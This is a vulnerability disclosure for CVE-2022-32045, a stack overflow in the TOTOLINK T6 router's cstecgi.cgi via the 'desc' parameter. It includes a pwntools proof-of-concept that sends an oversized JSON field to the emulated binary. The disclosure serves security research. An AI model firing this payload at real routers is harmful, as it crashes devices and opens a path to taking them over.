Headline
CVE-2022-32045: IoT-vuln/Totolink/T6-v2/4.setWiFiScheduleCfg at main · d1tto/IoT-vuln
TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the desc parameter in the function FUN_00413be4.
The vulnerability exists in the router’s WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_00413be4 (at address 0x413be4) gets the JSON parameter desc, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:
from pwn import * import json
data = { "topicurl": "setting/setWiFiScheduleCfg", "addEffect": "1", "enable": "1", "desc": "A"*0x400, "week": "1", "sHour": "1", "sMinute": "1", "eHour": "1", "eMinute": "1", }
data = json.dumps(data) print(data)
argv = [ "qemu-mipsel-static", "-L", "./root/", "-E", "CONTENT_LENGTH={}".format(len(data)), "-E", "REMOTE_ADDR=192.168.2.1", “./cstecgi.cgi” ]
a = process(argv=argv) a.sendline(data.encode())
a.interactive()